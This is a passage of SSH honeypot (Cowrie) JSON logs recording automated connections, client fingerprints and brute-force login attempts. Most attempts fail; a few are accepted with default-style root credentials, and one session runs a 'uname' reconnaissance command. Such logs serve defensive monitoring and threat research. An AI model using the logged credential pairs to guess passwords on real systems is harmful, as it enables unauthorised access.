03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.800418Z","src_ip":"171.25.158.70","session":"3e0cfe3b8a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:26.405100Z","src_ip":"171.25.158.70","session":"3e0cfe3b8a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:27.527789Z","src_ip":"171.25.158.70","session":"3e0cfe3b8a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":42728,"dst_ip":"159.203.135.109","dst_port":22,"session":"97046fdb6cff","protocol":"ssh","message":"New connection: 171.25.158.70:42728 (159.203.135.109:22) [session: 97046fdb6cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:27.638468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:27.642970Z","src_ip":"171.25.158.70","session":"97046fdb6cff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:27.803450Z","src_ip":"171.25.158.70","session":"97046fdb6cff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:28.338317Z","src_ip":"171.25.158.70","session":"97046fdb6cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:28.507006Z","src_ip":"171.25.158.70","session":"97046fdb6cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:28.511334Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":35936,"dst_ip":"159.203.135.109","dst_port":22,"session":"287dda2adcf6","protocol":"ssh","message":"New connection: 118.26.39.178:35936 (159.203.135.109:22) [session: 287dda2adcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:28.935457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:28.940347Z","src_ip":"118.26.39.178","session":"287dda2adcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:29.158857Z","src_ip":"118.26.39.178","session":"287dda2adcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cron","password":"password","message":"login attempt [cron/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.067544Z","src_ip":"118.26.39.178","session":"287dda2adcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":35956,"dst_ip":"10.17.0.5","dst_port":22,"session":"77224b20a300","protocol":"ssh","message":"New connection: 162.120.6.20:35956 (10.17.0.5:22) [session: 77224b20a300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.245200Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.318339Z","src_ip":"162.120.6.20","session":"77224b20a300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":35966,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab22c429dde","protocol":"ssh","message":"New connection: 162.120.6.20:35966 (10.17.0.5:22) [session: 9ab22c429dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.385059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.391195Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.461892Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Pass12345","message":"login attempt [root/Pass12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.672247Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.845387Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.848575Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.922143Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:30.926980Z","src_ip":"162.120.6.20","session":"9ab22c429dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:31.287739Z","src_ip":"118.26.39.178","session":"287dda2adcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60234,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd97e7ae49a9","protocol":"ssh","message":"New connection: 92.118.39.92:60234 (159.203.135.109:22) [session: dd97e7ae49a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:10.459697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:10.463660Z","src_ip":"92.118.39.92","session":"dd97e7ae49a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:10.569012Z","src_ip":"92.118.39.92","session":"dd97e7ae49a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:10.884592Z","src_ip":"92.118.39.92","session":"dd97e7ae49a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:11.990014Z","src_ip":"92.118.39.92","session":"dd97e7ae49a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40260,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f9ec0347120","protocol":"ssh","message":"New connection: 195.178.110.218:40260 (10.17.0.5:22) [session: 8f9ec0347120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:54.078232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:54.082145Z","src_ip":"195.178.110.218","session":"8f9ec0347120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:54.161585Z","src_ip":"195.178.110.218","session":"8f9ec0347120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:54.399495Z","src_ip":"195.178.110.218","session":"8f9ec0347120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:29:55.480604Z","src_ip":"195.178.110.218","session":"8f9ec0347120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":33552,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b4aabda2cb","protocol":"ssh","message":"New connection: 171.25.158.70:33552 (159.203.135.109:22) [session: 08b4aabda2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:16.214822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:16.219867Z","src_ip":"171.25.158.70","session":"08b4aabda2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:16.335499Z","src_ip":"171.25.158.70","session":"08b4aabda2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"build","password":"build123","message":"login attempt [build/build123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:16.843761Z","src_ip":"171.25.158.70","session":"08b4aabda2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:18.005303Z","src_ip":"171.25.158.70","session":"08b4aabda2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":54390,"dst_ip":"159.203.135.109","dst_port":22,"session":"930747b8976a","protocol":"ssh","message":"New connection: 118.26.39.178:54390 (159.203.135.109:22) [session: 930747b8976a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:32.747847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:32.753529Z","src_ip":"118.26.39.178","session":"930747b8976a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:32.972345Z","src_ip":"118.26.39.178","session":"930747b8976a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"Andrew123!","message":"login attempt [andrew/Andrew123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:33.871639Z","src_ip":"118.26.39.178","session":"930747b8976a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:30:35.096776Z","src_ip":"118.26.39.178","session":"930747b8976a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":33368,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d5480fe158","protocol":"ssh","message":"New connection: 171.237.176.209:33368 (159.203.135.109:22) [session: 59d5480fe158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:05.423229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:05.427864Z","src_ip":"171.237.176.209","session":"59d5480fe158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:31:05.680754Z","src_ip":"171.237.176.209","session":"59d5480fe158","protocol":"ssh"}
